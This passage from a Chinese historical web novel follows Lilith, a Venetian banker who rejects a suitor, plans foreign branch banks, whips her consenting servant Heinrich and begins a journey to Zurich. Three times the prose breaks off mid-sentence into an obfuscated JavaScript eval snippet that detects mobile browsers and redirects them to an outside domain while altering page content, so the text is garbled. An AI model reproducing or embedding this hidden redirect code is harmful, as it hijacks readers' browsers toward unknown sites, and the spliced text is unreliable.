“这是安特卫普的工匠用最新的切割技术制作的钻石戒指,不要说威尼斯,在整个意大利半岛都找不出这么大的第二颗。”洛伦佐温柔地笑着,“只有它能够向您表达我对您深厚的爱意与矢志不渝的誓言。” “康达里尼先生。”莉莉斯深呼吸了一口气,“多谢您的一片好心。但我出生低微,又已经嫁过人,冠上了施密德尔的姓氏,我根本配不上您……” “您知道我不在乎这些。” “最重要的是,”莉莉斯有些急躁地打断了他,“我与海因里希……曾书信来往多年,感情很好。所以我不想嫁人,至少也得为他守寡十年才行……” “我知道您真正的担忧是什么,一定是您的事业,对吗?”洛伦佐还是挂着那幅令人琢磨不透的笑容,仿佛根本没有听到莉莉斯说的话,“我亲爱的银行家小姐,如果您答应与我缔结婚姻,我不仅不会干涉您的事业,还会将康达里尼银行一并交给您打理。您所吸引我的正是您不同于一般女子的经验智慧与商业洞察力,我绝不会忍心让您失去大展宏图的舞台。” “谢谢您,但是我拒绝。” “您可以再考虑考虑呢,我很欣赏您深思熟虑后再做下决定的性格。在这点上,我们是一样的人。“ 莉莉斯站起身,不打算再与他浪费时间:“如果您真的欣赏我:就请您尊重我的意愿,另择佳人。我还有事,失陪。” “晚安,莉莉安娜。我们不久后还会再见面的。到时候我再来询问您的最终答复吧。” “再见。” 言罢,莉莉斯挽起塞西莉娅的手,头也不回地离开了洛伦佐的宫殿。方才遭遇的一切令她有些说不上来的犯恶心。回到家之后,她看见海因里希正披着斗篷在客厅里等她,仿佛也是刚刚才踏进家门。 “你出去干嘛了?”莉莉斯摘下头上的黑纱抬起头看他,脸上是一片惨白。她半躺在沙发上,端起茶几上伊万卡给她准备的玫瑰奶冻,挖了一勺送进嘴里。 “我去调查了夏洛克的死因。”海因里希皱着眉头,双手抱胸,“我查到事发现场有几个流浪的孩子目睹了行凶过程,但是畏惧遭到报复,不敢向执法官透露实情。他们透露说凶手是一个受雇于康达里尼家的码头工人。” “果然是洛伦佐干的。”莉莉斯印证了自己的猜想,紧绷的脸上终于露出了一丝笑容,“此人现在在哪里?” “据说他在行凶后便不知去向,尸体今天傍晚才被人从潟湖里打捞起来,只是尸体已经泡烂了,连执法官也难以辨认其死因。” “用完即弃,做得可真干净。”莉莉斯舔了舔勺子上的玫瑰糖浆,“也许我和他还真是一类人。你说我是否应该真的答应他的求婚呢,我亲爱的海因里希?” 32.资本扩张的野心 “这简直是对您的侮辱。” 海因里希听莉莉斯说完事情的经过后,干脆利落地评论道。 “他知道您根本不可能答应他,不是吗?您和他总共才见过三次面,根本都不熟。谁会答应这种随便的求婚?” “可是我与自己的丈夫在结婚前甚至根本都不认识,洛伦佐好歹还打过照面呢。”莉莉斯笑着反驳道,尽管她心里其实完全认同海因里希的观点,但是故意说反话引得对方露出恼羞成怒的样子很好玩。 “我觉得夫人说的……并不是完全没有道理。”穿着睡衣的塔塔听到了莉莉斯回家的消息,突然从女仆的宿舍里推开门跑了出来,“埃莱娜小姐不是希望夫人可以扩张银行规模吗?如果L.C.施密德尔能够与康达里尼家的银行合并,夫人也不用每天忙得这么焦头烂额了……” “夫人花了一千杜卡特才买来戈德斯坦的破产银行,还不算上后续那些即将继续偿还的贷款。”海因里希用冰冷的目光直勾勾地盯向塔塔,“如果夫人嫁给洛伦佐,那么整家银行连人带钱难道不都全部得打包送人变成洛伦佐名下的财产了吗?” “如果是合并的话,夫人还是可以根据约定保留属于她的股权吧……而且他不是还向您保证,合并后仍由夫人来担任银行主理人吗?” “按照威尼斯共和国的法律规定,女人在结婚后成为男人的所有物,一切财产全部归属丈夫所有。”莉莉斯漫不经心地接过话头,调整了一下半卧在沙发上的姿势,“洛伦佐恨不得派人把夏洛克杀了都要设法得到那批香料,紧接着又迫不及待地想将他的耳目安插进我的银行。像这么一个心狠手辣的男人,难道还指望靠他的慈悲而过活吗?简直是在开玩笑。” 塔塔意识到自己说错话了,沉默地愣在原地。 “你先回去休息吧。”塞西莉娅察觉到了女主人的不满,提醒塔塔回避接下来的谈话。失落的吉普赛小女孩也只能耷拉着脸,灰溜溜地关上门回到自己的房间。 “然而单纯的心狠手辣完全不足以令我对他如此厌恶。”莉莉斯皱着眉头咬了咬掉着玫瑰花纹样的银勺,顺着刚才的话继续说了下去,“他最令人作呕的地方就是那幅总是笑嘻嘻的假惺惺面孔。他其实和那些商人一样从来都没有尊重过我,可他却还要独独装出一种自己与众不同的姿态来。” “得亏他能想出这种恶心您的法子。”海因里希道。 “可不是吗?估计见到我整日戴着黑纱,以为我是什么丧夫后每天忧心忡忡等待他人呵护的可怜小寡妇吧。其实我在乎的只有赚钱而已。”莉莉斯不屑地将勺子丢进盛奶冻的玻璃小碟中放到一边,“不过与他谈话倒是让我想清楚了一件事。埃莱娜姑姑是对的,我们必须赶在康达里尼家族之前垄断市场,抢走德意志商路以及罗马纳贡之路上的行商客源。” “您决定要答应埃莱娜小姐的提议了吗?” “没错。尽管我知道接受注资开设分行意味着让渡掉一部分控制权,但我选择相信埃莱娜。比起把时间浪费在春季实习周之类无关紧要的事情上,还不如赶紧把有限的资源投入在最要紧的刀刃上。” 莉莉斯展开一卷欧洲地图,挥舞着勺子隔空点了点威尼斯在意大利半岛上的位置,随后又依次指向了苏黎世与罗马。 “塞西莉娅,”她命令道,“你去研究去罗马与苏黎世分别的路程、以及不同交通工具和旅行线路所需时间、差旅费用、各处关卡情况,还要看一下在当地开设分行的合规问题,再罗列出相关风险。海因里希。你来根据之前夏洛克设计的未来现金流估值模型分别计算在佛罗伦萨、苏黎世和罗马开设分行的具体成本与收益。明天中午去请埃莱娜来商讨具体行程,明天晚上我要请索菲亚吃饭。” “您想让您最好的朋友也来入伙吗?”海因里希的脑海中回忆起那位每次出场都带着不同帅哥的热情栗发寡妇,她是莉莉斯修道院时期的朋友,也是莉莉斯银行业务的第一位客户。 “不,有更重要的事情得麻烦她来帮忙。在我们离开的这段时间里,得有人来保管金库钥匙。索菲亚是我最信任的人选。” “我们……?”一直保持沉默的塞西莉娅有些担忧地提问道,“您也打算出行吗?” “没错。我们可以兵分两路。在埃莱娜带着你出发去罗马的时候,我与海因里希同时出发去苏黎世,这样就可以以最快的速度开启两家分行。埃莱娜既然给出了罗马与苏黎世的提案,那么她在两地一定已经有了信得过的代理人,我们过去一趟更多的是完成手续问题。” “这样做会不会有些太冒险了!”塞西莉娅吃了一惊,“光是要我离开您,单独和埃莱娜去罗马我就已经很不放心……如果您这段时间留在威尼斯,塔塔和伊万卡也还能照顾您的生活起居,可要是您不愿意带上她们,就凭海因里希……他能干点什么!夫人您如果实在要去,起码也得带上伊万卡吧!” “没有伊万卡在,谁来看守家里的小金库呢。她必须留在威尼斯。”莉莉斯冷静地反驳。 “那么塔塔呢,虽然她不那么擅长家务,但起码塔塔也是女人……” “克拉拉修女需要塔塔的配合才能完成基础交易,她这样身份的人只能待在幕后,不可能亲自跑到市场上讨价还价,收集信息。” “可是……” “塞西莉娅,”莉莉斯打断了她,“我知道你很关心我。但这次旅行对你、对我,对这家银行里的每一个人而言都是试炼与成长的机会。我一直想要离开威尼斯去看看更大的世界。海因里希可能没有你这么细心,但从之前一起经历过的一切来看,我相信他起码可以保证我的安全。” “如果只是旅行的话,我们可以做好万全的准备再出发,而不是像现在这样匆匆忙忙的……毕竟您从来没出过这么远的门……而且银行这段时间突然走开那么多人,万一出了什么岔子……” “埃莱娜也考虑到了这一点,所以才会把克拉拉修女请过来帮助我。到时候就由克拉拉代理日常业务,威廉和塔塔辅助。这段时间没有拓客拉新的需求,只要维持最基础的日常运作就可以。你不用太担心,具体的细节我会和埃莱娜再谈。” 莉莉斯突然握住了塞西莉娅的手,拉着她在沙发上和自己并排坐下来,将黑发的女仆揽进自己怀里:“我理解你的担忧,但是请你相信我的决断。” “夫人……”塞西莉娅受宠若惊地推开她,“我理解了,我会好好按照您说的去做。” “谢谢你。”莉莉斯笑着对她说,“很晚了,你先去休息吧。海因里希,你跟我来我的房间。” 穿过昏暗的旋转楼梯,海因里希跟着莉莉斯一起走进她的卧室。木质调的香氛氤氲在如幕布般挽起的黑色帷幔之间。午夜时分的清冷月光透过玻璃窗聚焦在莉莉斯的枕边。那只绣着黑眼圈的荷兰兔玩偶静静坐在床头柜上,旁边花瓶里红得发黑的玫瑰花瓣落在玩偶旁边,像是从他身体里流出来一滩风干的血。 莉莉斯打开胡桃木衣柜,从里面抽出一根崭新的黑色马鞭。海因里希深呼吸了一口气,自觉地双膝跪在卧室的波斯地毯上配合莉莉斯完成一场她情有独钟的表演。 “主人。” “可以吗?”莉莉斯轻轻抚过皮鞭的顶端,略微有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022313|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些脸红,“这次不会有人打断我们了。” “当然,如果这能为您带来愉悦。” 莉莉斯咬了咬嘴唇,不再多说什么,抄起鞭子抽在海因里希的背上。专业工具使用起来比皮带顺手多了。最开始的几下她带着试探性,打得比较轻。 “疼吗?” “比上次疼,但您还可以更用力。” 获得了进一步许可,莉莉斯便不再克制情绪,畅快地使出全力挥鞭抽打海因里希的背脊。男人背对着她,看不到脸,像是一个没有生命的靶子,一个纯粹的泄愤工具,只有随着疼痛而微微颤栗的身躯提醒着莉莉斯她在虐待一个活人,可他的颤抖却令她感到无与伦比的放松与安宁。这一刻她什么都不用想,只是抬起手、落下,接受对方的臣服,挥舞柔软的权杖来支配一切。 一直抽到白色的亚麻衬衫已经能隐约透出皮肤上的一道道红痕,莉莉斯才停下来,随手把鞭子扔在一边。 “谢谢你。” 她气喘吁吁地躺倒在床上,偏过头观察海因里希的反应。她摸不透对方具体是这么想的,但她有把握海因里希至少并不反感被这样对待。 “我的荣幸。您感觉怎么样?”海因里希继续跪在地上,为莉莉斯揉了揉方才握着鞭子的小臂与手腕。 “很愉快。鞭子很好用,比上次在索非亚家更顺手。” “那就好。” “你为什么会愿意让我对你做这种事?” 莉莉斯突然握住了海因里希的手,借力从床上爬起来,直勾勾地盯着海因里希的眼睛看。那双湛蓝的眸子静静地躺在深邃的眼眶里,像是两枚流光溢彩的蓝宝石。莉莉斯对自己买来的宠物狗真是越看越满意,因为他不仅很好用,而且真的很好看。明明有着那么锐利硬朗的面部线条,却总用温柔驯顺的目光看着她,比那个拿腔拿调的洛伦佐要顺眼多了。 “因为我知道您不是真的想伤害我,对吗?” “嗯。那你愿意和我一起旅行吗?陪我去苏黎世出差。” “当然了。我会陪您去任何您想去的地方。” 莉莉斯突然拽着海因里希的领子把他拽得离自己很近: “你说我是不是很可悲?” “为什么这么说?” “对真正的敌人无计可施,只能通过虐待你来发泄控制欲,然后获得虚伪的成就感。”她苦笑着自嘲,“之前是这样,现在还是这样。” “‘放贷的莉莉斯’怎么可能无计可施呢。”海因里希已经摸清了莉莉斯的性格,知道她在这种情况下想听到什么样的安慰,得心应手地回应道,“您要是真无计可施的话,也不会给我布置那么多工作要我去完成了。毛罗也好,洛伦佐也罢,战胜他们都只是时间问题而已。您一定会获得最终的胜利,得到您想要的东西,而我会一直陪在您身边。” 他将莉莉斯握住他的那只手松开,捧在自己的手心里,然后隔着一层蕾丝手套在她的手背上留下一个象征效忠于奉献的吻。 “越来越会说漂亮话了。”莉莉斯在他吻完后将手抽了回去,转过头把兔子玩偶搂紧在自己怀里,打了个哈欠,“去休息吧,明天早上起来好好干。” “遵命,夫人,好好休息,晚安。” “晚安。” 海因里希为莉莉斯关上门,匆匆回到自己的房间,来不及检查背上无关痛痒的伤势如何,他迅速换上一套纯黑色的衣服,将塞着一沓复式记账簿和一叠申请者简历的公文包掩在斗篷里。 他再三确认小楼中的众人都已经入眠后,轻手轻脚地从后门溜了出去,快步向里亚尔托大桥附近前进。 33.伟大的远征 莉莉斯心潮澎湃地扶着船舷站在甲板上,亚得里亚海的海风吹散黑色遮阳帽下披散的红发。明媚的阳光照耀着蔚蓝的大海,扬起的白帆将海船推向意大利大陆的梅斯特雷港,在那里补充物资之后顺着布伦塔河逆流而上。 “乘坐帆船前往陌生的大陆,再坐上马车去探索未知,我们简直就像是骑士小说里的冒险者一样呢。你说是不是呀,海因里希?” 海因里希面无表情地站在她身后为她撑着一把阳伞,伞下的阴影勉强遮住他因为过度加班缺少睡眠导致的黑眼圈。这片海域给他留下的阴影比莉莉斯的鞭打痛苦得多。他打了一个哈欠,努力将自己被袭击坠海的记忆清出脑海,没有做回应。 “我在和你说话呢。”莉莉斯对海因里希淡淡的态度颇为不满,“你不会忘记了我们的约定吧。” “啊…?” 海因里希迅速回忆了一下过去两周发生的所有事。在莉莉斯正式决定了要接受埃莱娜注资入股向外扩张分行的战略部署之后,她紧接着又和埃莱娜开了几次会议商讨各项细节。 塞西莉娅忙着计划去罗马与苏黎世的行程,联系同行的商队,顺便帮助克拉拉修女和塔塔对齐颗粒度。她们给这个项目起名叫“伟大的远征”,旨在效仿威尼斯共和国于第四次十字军东征一般在远方征服大量的财富。海因里希则忙着一遍又一遍根据不断更改变动的数值调整计算估值模型,与此同时还要帮助威廉适应全新的工作环境。 带着货物乘马车前往罗马耗时三周,而去苏黎世两周左右,因此在一周的准备工序之后,埃莱娜就带着自己的手下们与塞西莉娅率先离开,莉莉斯则携众来到圣卢西亚码头为她们送行。 那天塞西莉娅一直在哭。她终于脱下了黑白相间的女仆装,换上了一身新裁制的灰色长裙,显得格外优雅大气。她紧紧握着莉莉斯的手叮嘱了一遍又一遍各种要她小心注意的地方,直到埃莱娜再三提醒她船已经要出发起航,她才依依不舍地松开手。看着莉莉斯随着威尼斯的海岸线一起消失在视野里。 接下来的一周里莉莉斯继续部署工作,向几个最重要的客户发送了自己即将出差远行的通知。海因里希也完成了最后的准备,就等着出行日期的到来。 他们即将与同行的商队一起从威尼斯出发,先乘坐商船离开潟湖,跨过海岸,顺着布伦塔河直接前往意大利大陆北部的城市帕多瓦。在那里他们将转为陆路,乘坐马车向西北出发,跨过大片平原,途径维罗纳、布雷西亚、科莫,一直到施普吕根山口穿越阿尔卑斯山,最后再从瑞士高原北上到达苏黎世。 跟随莉莉斯出行的不仅是海因里希,还有一名将在帕多瓦与他们接头的翻译,以及大批货物,主要是佛罗伦萨运来的羊毛,君士坦丁堡的丝绸,以及一小箱作为礼物送去给苏黎世当地代理人的名贵香料。 除了少量用作路上打点关卡,购买食物、支付驿站的钱和一小笔藏在货物里的应急备用金以外,他们不会带多少金币。尽管他们全程都跟随训练有素的武装商队结伴出行,但随身携带大量现金仍然容易招致不必要的麻烦甚至危险。 莉莉斯的名贵首饰自然也大多没有收进行李,只是带上了象征身份的红宝石婚戒、纯金的家纹戒指与一对朴素的珍珠耳环。衣服也大多是最简朴的款式,清一色的黑,彰显贵族身份的同时不至于太过招摇。 当然,在所有行李中最重要的,是带去苏黎世的汇票、埃莱娜撰写的介绍信与她的当地联系人通讯录,还有威廉帮忙起草的一封给施密德尔家在苏黎世的代理人的问候书。这位代理人将以招待施密德尔夫人的方式来安排莉莉斯在苏黎世的一切生活起居。 除此之外,文件夹里还放着康达里尼银行向克纳罗银行赠送的货物运输保险合同副本。虽然莉莉斯对洛伦佐其人意见颇多,但是送上门来的便宜不占白不占。汇兑商行会公正过的合同比教廷神父见证的婚姻誓言更能令莉莉斯感到安心。 比起私人恩怨,更加令莉莉斯在意的是康达里尼家银行正在因为保险业务而迅速崛起,并由此吸引了大量有汇兑需求的贸易商客源。因此,她似乎念叨过在开立分行回来后要迅速研发新的创新业务线。但这也得是回来之后的事了,与莉莉斯方才口中的“约定”似乎也并没有什么关联…… “喂!”莉莉斯厉喝一声,打断了海因里希的思绪。 “哦,抱歉。”海因里希皱着眉头摇了摇头,“夫人,我实在不知道您在说什么……” “骑马!骑马!”莉莉斯气鼓鼓地对他大喊,海风将她的头发吹乱,猩红的发丝糊在她的脸上,像一只张牙舞爪的愤怒八爪鱼,“你答应过要教我骑马的,难道已经忘了吗?果然男人都是不可信任的生物。其实你根本就不会骑马吧!” “原来是说这件事。”海因里希松了一口气,“当然可以教您了。我答应过您的。” “你是怎么学会骑马的?” “我以前也跟着商队旅行过,骑马是最基本的技能。”海因里希回想起自己带领接亲队伍前往威尼斯的经历,不经又在酷热的大太阳底下打了个寒颤,“就像我们接下来即将加入同行一起去苏黎世的商队一样,每个队伍都会配备一支起码三到五人的武装小队,为随行的商人与货品保驾护航。” “我听说这些商路上通常都很危险。你以前遇到过土匪吗?和我们在威尼斯卡斯特罗区遇到的强盗哪种更吓人?” “那肯定是野外的土匪了。城中的犯罪者需要逃避执法官的追捕,就连武器也要走私,除非背后有贵族撑腰……否则会受到层层限制。可是野外的盗贼根本就无法无天。杀了人随便把尸体丢在一边,就能有野狼来帮他们毁尸灭迹,连骨头都嚼碎了吞干净。” 莉莉斯认真地思索道,“那确实很方便了,比丢进海里还方便……丢进海里若是处理不好就会浮起来,运气不好飘到执法官面前说不定就要惹麻烦……但是,掌控那些山路的当地领主难道什么也不管吗?” “他们住在城堡里,庄园周遭都有私人佣兵把守。土匪只要不闯到他们面前去,他们大可对外界发生的事充耳不闻。” “不知道我丈夫的家族是否也是这样不负责任的领主呢。” “施密德尔家于近百年才被皇帝授予爵位的新贵,虽然也属于采邑贵族,但是和传统的封建领主不太一样。由于家族产业依赖商业和自由市场,所以和威尼斯共和国的城市贵族比较相似,会很积极地维护市场稳定与社会治安,并不属于老牌的旧秩序拥趸。”海因里希不假思索地为自己的家族辩解正名,说完才意识到自己貌似说了不该说的话。 “哦?你怎么知道得比我还清楚。”莉莉斯狐疑地斜了他一眼。 “是威廉告诉我的。” “好吧。那孩子……倒还挺能干的,就是太单纯了,不太会察言观色,只会闷头干活。不过我现在很需要他这样的实干型人才。如果我的未婚夫也是一个这么听话的傻乎乎小男孩,好像其实倒也不错。” “原来您理想中的婚姻对象是这样吗?”海因里希挑眉。 “不,我只是说着玩的。其实我一点也不想结婚。婚姻是女人生命中第二大的陷阱,而第一大的陷阱则是生孩子。你有没有发现,美好的爱情故事往往只会发生在结婚之前。如果发生在结婚之后,那么恋爱的对象就一定不会是婚姻中的丈夫或妻子,更显得婚姻像是一种束缚与枷锁。哦对了,我的那本《十日谈》你带上了吗?” “带上了,您特意叮嘱过。” “那你来给我读故事吧,船还要再开很久呢,来读点故事解闷。” 莉莉斯转过身向船舱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033698|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里走去,和海因里希面对面坐在窗边。海因里希按照上次留下的书签位置翻开书本,借着窗外的阳光给莉莉斯读了起来。 “错了。”莉莉斯突然打断了他,“‘仍然’是‘ancòra’,不是‘àncora’,那是抛锚的锚的意思,重音错了,连词的意思都不一样。” “抱歉。意大利语不是我的母语。” “我知道,其实你学得挺快的。口音已经比刚来的时候纯正多了。接着读吧。” 海因里希接着读下去。书里讲述了一位诚实勇敢的少年在行商途中遭遇歹徒洗劫一空,却因为长得帅被一个人美心善的寡妇所收留并共度良宵的故事【注】。其中针对一夜春情的部分做了细致入微的描写,读得海因里希不禁面红耳赤,声音越来越轻,连带着莉莉斯都有些不好意思了起来。特别是读到寡妇将先夫的衣服拿给少年穿时,海因里希一想到自己身上正穿着莉莉斯原先缝给未婚夫的衬衫,便感到有些汗流浃背起来。 “别读了。”莉莉斯紧急叫停,“公共场合读这些不合适。” 海因里希有些尴尬地合上书本。 “你以前……做过那种事吗?书里描述的那种……令人有点难以启齿的事。”莉莉斯忽然压低了声音,掩着面神色严肃地问他,仿佛在交头接耳些什么商业机密。 “当然没有了。” “真的吗?像你这样长得好看的奴隶,难道不会从小就……” “我不是做那种事的奴隶。”海因里希深呼吸一口气。 “好吧。”莉莉斯叹了一口气,好像有些失望似的,却又笑得很得意,“那你帮我概括一下,故事最后发生了什么?” “总之……男主最后成功回到了故乡。而惩罚他的歹徒则获得了应有的惩罚。”海因里希匆匆翻过书页概括了一下后面的情节,告诉了莉莉斯故事的结局。 “比起这个,我更想知道男主角那个临阵脱逃丢下主人不管的孬种仆人怎么样了?” “他啊……我看看,好像最后是被男主带回去了。” “真讨厌这种强行圆满的好结局。要我说,这人就该和那三个强盗一起被杀了才好。海因里希,我们要是以后遇到了什么危险,你可千万不要抛下我自己跑掉。不然要是我活下来了,我可一定不会放过你的。” “说不定这个少年只是想先稳住仆人,等回到家后再报仇血恨。”海因里希幽幽地说,他抬起头,看见窗外的船夫已经在用绳子将船体固定在码头上的木桩旁,“船到了,我们可以下去了。” “很快就可以见到马了。”莉莉斯兴奋地站起来,“我们走吧。” 海因里希将书本收进随身携带的小包,随后扶着他的女主人缓缓向帕多瓦的码头上走去。帕多瓦是意大利东北部一座中型大小的城镇,虽然地处亚平宁半岛本土,但是从15世纪初期开始就归属于威尼斯共和国的大陆领地。 由于十三世纪帕多瓦大学的建立,这座小城吸引了很多贵族子弟和商人富贾的孩子们前来定居。虽然比不上潟湖的繁华盛景,但依山傍水,建筑物精致小巧,也别有一番风味。 莉莉斯的皮鞋鞋底第一次踩在亚平宁半岛的土地上,她好奇地撑着伞四处张望近处的城镇与远处连绵不绝的丘陵,等着海因里希在一旁与同行商队派来的人接应货物与行李。 突然,一个瘦骨嶙峋、衣衫褴褛的乞丐嘴里念念有词地向她跑来,他满身破布、跳着怪异的舞,声音尖得像破风箱。莉莉斯感到害怕,下意识地向后退。 “哈!威尼斯的贵族小姐,美丽的小心肝儿!瞧您那双绿眼睛现在还能笑得像月牙一般弯!可您却不知道,一场命中注定的血光之灾即将要降临在您的身边!” 【注】此处指的是薄伽丘《十日谈》中的第二天第二个故事。 34.不详的预言 海因里希还站在远处的码头上监督搬运工搬送货物。莉莉斯焦急地迅速转身向人群中走去,试图摆脱这个乞丐的骚扰。 可那如鬼魂般的愚者却紧紧跟上,对莉莉斯露出一个滑稽又荒诞的笑容:“您别怕,我虽是个最卑微的乞丐,却也是一个能窥见真相的愚者!疯癫是我的智慧,而勤俭是我的美德。我只问您讨一个格罗索银币,只要一个!我就能告诉您命运的真相……请您可怜可怜我,也可怜可怜您自己哟!” 莉莉斯不悦地皱着眉头,半信半疑地从腰间的钱袋里掏出一个格罗索丢在地上。那乞丐立刻向饿虎扑食似地冲上去捡起来放在阳光下仔细查看。这枚银币似乎是新铸的,还未被使用过,表面非常干净,甚至还带着漂亮的金属光泽,连纹案刻印都很清晰,与小贩市集上使用的那些沾满油腻污渍的金属片仿佛不是同一种货币。乞丐十分宝贝地将银币收进口袋,咯咯咯地笑着,向莉莉斯娓娓道来: “水之城的女儿,大海的姻亲,您可曾见过真实的山川与湖泊、森林与沼泽?商人的后代啊,城市贵族的子孙,可知道误入歧途的代价,追逐名利的后果!您的身边正在暗流涌动,充斥着谎言与诅咒!我能给您的忠告只有一个!就只有一个!停止这场无谓的旅程!回到你柔软的温床里去吧!否则您信任的人将要背叛您,而与您亲近的人则会血流成河!连您自己都会丧失自由,变成一个任人摆布的小玩偶!” “一派胡言。”莉莉斯非常恼火,指着他的鼻子怒斥道,“卑贱的乞丐,你胆敢戏耍我,我马上就叫我的侍从过来把你揍一顿才出气。” “哦!我的天哪!请您千万发发慈悲!发发慈悲!您若觉得这买卖不划算……我只能再说最后一句忠告!最后一句忠告!不要进森林!不要进森林!千万不要进森林!” “森林?什么森林?” “不能再问了!否则您的贪婪和冷漠会害死您的!会将您拖入地狱的深渊!命定的血光之灾即刻便会降临! ”那乞丐突然怪叫着手舞足蹈了起来,动静大到海因里希终于注意到了这里的骚乱,立刻冲上前来,吓得乞丐拔腿就跑。 “您没事吧?”海因里希为莉莉斯掸去肩上若有若无的灰尘,关切地从上往下打量了一遍,将她手里的伞柄握在自己的手中。 “我没事。”莉莉斯挽住了他的胳膊,“遇到一个乞讨的疯子,跟我说了些不吉利的丧气话。倒也没什么大不了的。他说着什么……血光之灾会降临,还说我……会落得一个众叛亲离的悲剧结局。” “疯子的话怎么能当真呢。”海因里希轻轻拍了拍她的背,“货物已经交接好了,我们现在去驿站休息吧。翻译在那里等您,我还让驿站的人备好了一匹温顺的小母马。等您安顿好了,我们就开始练习骑马。” “真的吗?”莉莉斯的眼睛再次亮起来。 “当然是真的。我们走吧。” 莉莉斯最后回过头看了一眼那个疯疯癫癫的乞丐。他蹲在小巷口的垃圾堆旁边,拿着那枚银币左看看右看看,突然塞进嘴里咀嚼,被硌到牙齿后又干呕着吐在了地上,然后赶忙捡起来捧在手心里咯咯咯地笑。 是啊,一个疯子的话怎么能当真呢。莉莉斯转过头去不再看他,在海因里希的带领下离开了帕多瓦码头。 预约好在帕多瓦接头的这名翻译名叫丹特,是一个瘦弱到有些干枯的男青年,戴着一副酒瓶底般厚重的眼镜,是一名帕多瓦大学的神学在读博士生。莉莉斯虽然在修道院学校里学过德语,但是只能到日常交流的水平,并算不上精通。比起带上威廉或者去用施密德尔家在瑞士的代理人为她安排的翻译,她更倾向于聘请一个与她没有直接利益相关的人,而且最好不要是威尼斯人。 因此塞西莉娅在塔塔提供的信息网中找到了丹特。他的家乡在科莫,靠近阿尔卑斯山,精通拉丁语、德语和意大利语,据说总共有过三四次跟随商队出行往返的经历,还对于当地乡村的神秘学与民俗学有不少研究。 莉莉斯一边用简餐一边用有限的德语储备对他简单考验了一番,大概确认其水平在自己之上后便正式录用了他作为随行翻译,包吃包住,两周的佣金2个杜卡特,比他在大学里做研究大半年赚得还要多。 海因里希默默站在一旁听着两个意大利人用蹩脚的德语互相比划。他知道这是一门复杂的语言,因此他并不会向莉莉斯一样对非母语者的口音指手画脚。更何况,他没有什么要让莉莉斯知道他会德语的理由。 等莉莉斯和丹特商量完了,她蹦蹦跳跳地跑到海因里希面前。 “走吧,去骑马吧。” “您得先换身衣服。您说过比起侧骑更想学跨骑对吧,那么您得换上裤子才行。我为您准备好了裤装和马靴,已经放在客房里了。” “很好。”莉莉斯从海因里希手里接过钥匙,笑着遛了个弯上楼去到自己的客房。 这是帕多瓦规格最高的驿站,据说曾经接待过不少来上大学的王公贵族子弟在此长住。虽然比不上家里温馨,但也还算舒适干净。由于寻常的旅行商人住不起这么奢华的驿馆,因而十分安静,没有沾染上车马劳顿的尘土气息。莉莉斯打开了套房的门,换好衣服后兴致勃勃地下楼,和海因里希在驿站的后花园见面。 午后温暖的阳光像加了蜂蜜的白葡萄酒,海因里希穿着一身宽松的白衬衫站在盛放紫藤花的小花园里,梳理整齐的金发在阳光下泛出和煦的光泽,英俊的五官仿佛古希腊时代的雕像一般棱角分明。他的手里牵着缰绳,一匹白马乖顺地站在他身后。 “好帅的马。”莉莉斯惊叹道,“现在她是我的了。” “您确定要买下她吗?她的价格比我还贵,而且我们可没法把她带回家。”海因里希笑着解释道,“这是我问驿站老板借来的,等您骑完了还得还回去。” “好吧。”莉莉斯眨了眨眼睛,小心翼翼地走到白马的面前,“接下来我该怎么做?” “嗯……您的头发。”海因里希看着莉莉斯披散在肩头的红发,“或许会挡住您的视线。” “那么你来为我梳头。”莉莉斯转过头,用后脑勺对着他的脸。 海因里希愣了一下,想起来塞西莉娅在临行前专门请来伊万卡做模特,手把手教过他怎么给莉莉斯梳各种各样的编发造型,还特意在他随身携带的包里塞进去了梳子和发带。但那些复杂的造型他一时之间想不起来怎么操作,只好简单地给莉莉斯扎了一个高马尾,显得精神又干练,甚至还有些英姿飒爽的少年气。莉莉斯在小镜子里左看看右看看,十分满意。 “先上马,捏住马的鬃毛与缰绳,然后踩住脚蹬跨坐上去,就像这样。”海因里希当着她的面演示了一遍,然后自己下来,把缰绳送进莉莉斯的手里。 莉莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046676|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯胜券在握地望着这匹肩高几乎与她身高齐平的大马,死死捏住鬃毛踩上脚蹬,却怎么也跨不开腿坐上去。海因里希从后面握住她的腰托了她一把,才将她成功推上了马背上坐定。 “好高啊!”莉莉斯兴奋地握紧缰绳。她从未坐得这么高过,视野变得十分开阔,仿佛整座花园都变小了,“我现在是来自威尼斯的神圣骑士莉莉斯。” 